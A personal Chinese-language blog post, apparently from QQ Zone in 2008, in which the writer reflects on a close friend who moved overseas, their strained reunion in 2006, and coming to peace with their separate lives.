紧张的一年,因为有你在身边,没有了枯燥的复习,没有了繁重的压力,我早已习惯了有你在身边的一切,我们之间其实并没有激情四射的时候,有的,只是默默的关怀,有时候,甚至只是一个默默的眼神.就这样,习惯了这样被你去爱护,久久不能清醒过来.

后来,你走了,飞过太平洋,开始了新的生活.我始终坚信,时间不会改变你,至少,不会改变你内心最温柔的本质,对我,对所有.后来,随着一些事情的发生,我逐渐意识到,这么想似乎是不公平的,对你,我不可以再有什么要求,也不该再有什么期待.时间,环境,新的生活,必然会带给你不小的变化,只有我,固守着脑海中那个温柔的你,不愿放手,到最后,却也不得不放手.我知道,我们的交点已经过去,现在的我们,正在朝着两个不同的方向走下去,越走越远,越走越远.每个漆黑的夜里,我总是习惯于一个人站在宿舍的阳台上,看着远处的月亮,想着在你同学录上写过的话,我们能看见同一个太阳,同一个月亮,所以,其实我们并不遥远.太阳没有变,月亮也没有变,甚至连空气都没有变,变化的,只是人的心,那么不经意的,一点一点的.我承认,你比我坚强的多,你们总是能比我更好的适应新的生活,忘记过去的一切.我以为一切都没有变,其实一切都早已改变.

2006年的夏天,时隔5年,我终于再见到了你.但是,从见到你的一刻起,我就感受到了前所未有的陌生感和距离感.我只能咬紧嘴唇,相信一切终于改变,从前的一切不负存在.我不知道该怎么面对你,该以什么方式面对你.我觉得别扭,觉得窝心,觉得一切都让我无所适从.我居然不能像面对一个普通朋友一样面对你,但是我必须这样面对你.我不能让你发现我心里的挣扎,矛盾,这可能是我们余生为数不多的几次见面了,我很想平静的,就这样留下好的印象在你心里,虽然可能是适得其反了.我也不知道.在你面前我显得很局促,很不知所措.我也不知道该跟谁去说,该怎么说,毕竟能真正了解我内心的人,实在是太少太少了.我有自己的生活,你也一样,所以我不能去打扰你,也不能再打扰自己,我所能做的,就是安安静静的做好我应该做的事,扮演好我应该扮演的角色.你生日的那个晚上,我跟爸爸撒了谎,跑出去见你,其实只是想再看看你,跟你当面说句生日快乐,我就那样空着手去了,因为我实在不知道应该送什么给你,送什么都显得那样滑稽.这么多年了,你的生日我从来没有忘记,倒是我的生日,许是你早已经记不住了.那天我们站在路边说话,我的腿被毒蚊子咬了两个好大的包,很痒痒.回家之后,我不停的挠那两个大包,挠到最后,两条腿都变的肿肿的,妈妈见了很惊奇的问我,你确定是蚊子咬的么?不是什么有毒的虫子?怎么肿的那么厉害?后来,还是一直痒,一直痒,痒到自己都没有办法控制,于是就大哭起来.给你发短信,问你,回去后偶尔想起我么?你回答:不会.我于是不能自已,哭的很伤心,原来,还是只有我一个人,站在台上傻傻的表演独角戏.正哭着,短信又响起来,我一抽一抽的抓起手机,又是你发的:我会经常想起你.我不知道该回答什么,就一个字一个字的打下了"让我取暖"的歌词,发送给了你.你终于没再说话.

你走的那天,我没有到火车站去送你.你登上飞机之前,给我打了电话,我能听到你那边候机大厅里嘈杂的声音,但是你的声音还是很清晰.你回来那许多天,我从没有当着你的面流过一滴眼泪,哪怕是我再难过,再怎么样,也还是一直笑着,笑着.我就应该一直笑到最后的,让你觉得我一直过的很好,也不孤单,也不寂寞,也没受伤,很健康,我没有掩饰好,没有坚持到最后.我哭了,我说我讨厌你,你记住我讨厌你.是啊,与其不能拥有,到不如互相忘的一干二净.

那是你打给我的最后一通电话,那时,我电脑里放着的,正是这首"hero",那无限委屈的声音,从电脑中放出来,特外刺耳,震触我的神经.我还是有没有对你说的话,我想等你,我想告诉你我能等你,但是,我将它们咬碎了,生生的咽下去,我没有说,我知道,你不信,我也不信.我们都变得现实,很现实,不再如从前那般单纯与透明.

直到现在,我们都有了自己的生活,属于各自的,幸福的生活.不管是独身的,还是有伴的,都各自在各自的空间中,了无牵挂的生活着.我应该感谢你,你让我懂得坚持的意义,我们同为狮子座.两只血型不同的狮子,折射着截然不同的光芒.我看过那些星座说明,我们可能是各自都碰到了生命中最不寻常的星座,我网罗到了最不敢碰触的处女座,而你,经过这么多年,也找到了属于你的白羊,虽然不知道最后是何结果,至少,我可以打心底里祝福你,是你让我学会珍惜,我会珍惜,珍惜身边的他,也珍惜你,这个陪我走过许多坎坷路的,难得的好朋友.不管以后我们是不是还能像最早最早的时候那样无话不说,至少,还是可以为着以往的那些岁月,那些时光,举杯,说着快乐,说着珍惜. ]]> http://77082505.qzone.qq.com/blog/1204556882#comment 512 Mon, 03 Mar 2008 15:08:02 GMT http://77082505.qzone.qq.com/blog/1204556882